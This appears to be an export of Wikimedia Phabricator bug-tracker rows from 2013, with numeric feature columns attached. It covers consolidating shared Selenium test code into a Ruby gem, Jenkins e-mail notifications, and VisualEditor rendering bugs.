+https://gerrit.wikimedia.org/r/87125",,,1382363305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251908,Make sure all repositories have the latest version of shared code,"Change 90560 had a related patch set uploaded by Zfilipin:
+WIP Moved confing files from qa/browsertests repository
+
+https://gerrit.wikimedia.org/r/90560",,,1382111650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251899,Make sure all repositories have the latest version of shared code,"Change 90559 had a related patch set uploaded by Zfilipin:
+WIP Moved config files to mediawiki/selenium repository
+
+https://gerrit.wikimedia.org/r/90559",,,1382111624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251892,Make sure all repositories have the latest version of shared code,"Change 88010 merged by Tobias Gritschacher:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/88010",,,1381745570,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251888,Make sure all repositories have the latest version of shared code,*** Bug 53581 has been marked as a duplicate of this bug. ***,,,1381410774,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251884,Make sure all repositories have the latest version of shared code,*** Bug 54600 has been marked as a duplicate of this bug. ***,,,1381410415,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251880,Make sure all repositories have the latest version of shared code,"Change 88010 had a related patch set uploaded by Zfilipin:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/88010",,,1381134855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251876,Make sure all repositories have the latest version of shared code,"Change 87158 merged by jenkins-bot:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87158",,,1380988261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251873,Make sure all repositories have the latest version of shared code,"Change 87542 merged by jenkins-bot:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87542",,,1380987438,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251869,Make sure all repositories have the latest version of shared code,"Change 87581 had a related patch set uploaded by Zfilipin:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87581",,,1380901487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251863,Make sure all repositories have the latest version of shared code,"Change 87563 had a related patch set uploaded by Zfilipin:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87563",,,1380896472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251857,Make sure all repositories have the latest version of shared code,"Change 87552 had a related patch set uploaded by Zfilipin:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87552",,,1380892900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251847,Make sure all repositories have the latest version of shared code,"Change 87542 had a related patch set uploaded by Zfilipin:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87542",,,1380888245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251839,Make sure all repositories have the latest version of shared code,For more information see http://lists.wikimedia.org/pipermail/qa/2013-October/000509.html,,,1380805607,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1
+251835,Make sure all repositories have the latest version of shared code,"Change 87158 had a related patch set uploaded by Zfilipin:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87158",,,1380730588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251830,Make sure all repositories have the latest version of shared code,"Change 87125 had a related patch set uploaded by Zfilipin:
+Moving code used in multiple repositores to a Ruby gem
+
+https://gerrit.wikimedia.org/r/87125",,,1380723813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251827,Make sure all repositories have the latest version of shared code,"Change 86838 merged by jenkins-bot:
+Updated ULS repository to the latest version of shared test files
+
+https://gerrit.wikimedia.org/r/86838",,,1380645048,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+251825,Make sure all repositories have the latest version of shared code,"Change 86845 merged by Cmcmahon:
+Updated the repository to the latest version of shared test files
+
+https://gerrit.wikimedia.org/r/86845",,,1380644856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+251823,Make sure all repositories have the latest version of shared code,"Change 86845 had a related patch set uploaded by Zfilipin:
+Updated the repository to the latest version of shared test files
+
+https://gerrit.wikimedia.org/r/86845",,,1380630502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251820,Make sure all repositories have the latest version of shared code,"Change 86838 had a related patch set uploaded by Zfilipin:
+Updated ULS repository to the latest version of shared test files
+
+https://gerrit.wikimedia.org/r/86838",,,1380628011,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251815,Make sure all repositories have the latest version of shared code,"Change 82039 merged by Tobias Gritschacher:
+Updated test configuration to the latest version
+
+https://gerrit.wikimedia.org/r/82039",,,1378124036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+251806,Make sure all repositories have the latest version of shared code,"Change 82035 merged by jenkins-bot:
+Updated test configuration to the latest version
+
+https://gerrit.wikimedia.org/r/82035",,,1377987180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+251796,Make sure all repositories have the latest version of shared code,"Change 82034 merged by jenkins-bot:
+Updated test configuration to the latest version
+
+https://gerrit.wikimedia.org/r/82034",,,1377987114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+251787,Make sure all repositories have the latest version of shared code,"Change 82033 merged by Cmcmahon:
+Removed unused Rake Ruby gem
+
+https://gerrit.wikimedia.org/r/82033",,,1377987032,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251779,Make sure all repositories have the latest version of shared code,"Change 82032 merged by Cmcmahon:
+Removed unused HTML Cucumber formatter
+
+https://gerrit.wikimedia.org/r/82032",,,1377986999,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251774,Make sure all repositories have the latest version of shared code,"Change 82039 had a related patch set uploaded by Zfilipin:
+Updated test configuration to the latest version
+
+https://gerrit.wikimedia.org/r/82039",,,1377896220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251767,Make sure all repositories have the latest version of shared code,"Change 82035 had a related patch set uploaded by Zfilipin:
+Updated test configuration to the latest version
+
+https://gerrit.wikimedia.org/r/82035",,,1377894902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251762,Make sure all repositories have the latest version of shared code,"Change 82034 had a related patch set uploaded by Zfilipin:
+Updated test configuration to the latest version
+
+https://gerrit.wikimedia.org/r/82034",,,1377894425,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251757,Make sure all repositories have the latest version of shared code,"Change 82033 had a related patch set uploaded by Zfilipin:
+Removed unused Rake Ruby gem
+
+https://gerrit.wikimedia.org/r/82033",,,1377893822,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251751,Make sure all repositories have the latest version of shared code,"Change 82032 had a related patch set uploaded by Zfilipin:
+Removed unused HTML Cucumber formatter
+
+https://gerrit.wikimedia.org/r/82032",,,1377893504,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251746,Make sure all repositories have the latest version of shared code,"Change 81929 merged by Cmcmahon:
+Updating shared code to the latest version
+
+https://gerrit.wikimedia.org/r/81929",,,1377883705,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0
+251740,Make sure all repositories have the latest version of shared code,"Change 81929 had a related patch set uploaded by Zfilipin:
+Updating shared code to the latest version
+
+https://gerrit.wikimedia.org/r/81929",,,1377871196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0
+251731,Make sure all repositories have the latest version of shared code,"All repositories:
+
+https://github.com/wikimedia/qa-browsertests
+https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
+https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
+https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
+https://github.com/wikimedia/mediawiki-extensions-VisualEditor
+https://github.com/wikimedia/mediawiki-extensions-Wikibase
+
+Files to update:
+
+config/config.yml
+config/cucumber.yml
+features/support/env.rb
+features/support/sauce.rb
+Gemfile
+Gemfile.lock
+README.md",,,1377870317,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+55578,Send e-mail notification to relevant people after jenkins job is completed,"Who gets e-mail notification is documented in jobs.md[1]. At the moment Chris and I get notification for all jobs. Michelle is added for MobileFrontend, Rachel and James for VisualEditor.
+
+Nik Everett should be notified for CirrusSearch, Amir and Niklas for UniversalLanguageSelector.
+
+1: https://github.com/wikimedia/qa-browsertests/blob/master/docs/jobs.md
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377861600,1381417555.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-skm7yk65ve7ofcodlrqs,task_description,resolved,True,c1,3,True,False,False,8,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+251693,Send e-mail notification to relevant people after jenkins job is completed,"Change 88998 merged by Cmcmahon:
+Updated Jobs and documentation who gets e-mail notification when a Jenkins job fails
+
+https://gerrit.wikimedia.org/r/88998",,,1381846904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-skm7yk65ve7ofcodlrqs,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+251687,Send e-mail notification to relevant people after jenkins job is completed,"Change 88998 had a related patch set uploaded by Zfilipin:
+Updated Jobs and documentation who gets e-mail notification when a Jenkins job fails
+
+https://gerrit.wikimedia.org/r/88998",,,1381417453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-skm7yk65ve7ofcodlrqs,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+55542,VisualEditor: Images after template are shielded and uneditable in RTL,"I could not replicate this in LTR wikis (en.wiki or MediaWiki.org) but I suspect this is not so much ltr/rtl but floating behavior of the templates and images.
+
+See example here:
+https://he.wikipedia.org/wiki/%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9%D7%AA:Mooeypoo/%D7%A2%D7%95%D7%A8%D7%9A_%D7%97%D7%96%D7%95%D7%AA%D7%99/%D7%91%D7%93%D7%99%D7%A7%D7%95%D7%AA_%D7%95%D7%9E%D7%A9%D7%97%D7%A7%D7%99%D7%9D?veaction=edit
+
+The top two images are regular images (not templates) - they are perfectly editable if you remove the template at the top. They got their shielded status after I inserted that template.
+
+Steps to reproduce:
+1. Edit a page
+2. Insert some image (or more) to top
+3. Save page
+4. Edit again, insert template ""{{עליות}}"" just above the images. 
+5. Save.
+6. Edit again. Observe: The images jumped to the left (wrong float side) and are now uneditable. 
+7. Interesting fact: Remove the template and save, then go back into the editor and the images are still uneditable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377795900,1406318164.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-jjwaxnsw7nonpkj5w5ug,task_description,resolved,True,c1,3,False,False,False,8,,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+249196,VisualEditor: Images after template are shielded and uneditable in RTL,This seems to be fixed now with the change of images and the way we render shields.,,,1406316798,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-jjwaxnsw7nonpkj5w5ug,task_subcomment,,True,c1,3,False,,,55,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+249191,VisualEditor: Images after template are shielded and uneditable in RTL,Correction: images jump to the *right* (wrong floating side in RTL wikis) not left. Apparently my sense of directions needs its own bug report.,,,1377796057,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-jjwaxnsw7nonpkj5w5ug,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+55535,VisualEditor: broken reference tag swaps sections when VEditing,"If you open https://fr.wikipedia.org/w/index.php?title=Anna_Mouglalis&oldid=95468238&veaction=edit you'll notice a weird order of paragraphs. This is due to an extra space in the ref tag for the second reference. VE might probably autocorrect similar situations.
+
+--------------------------
+**Version**: unspecified
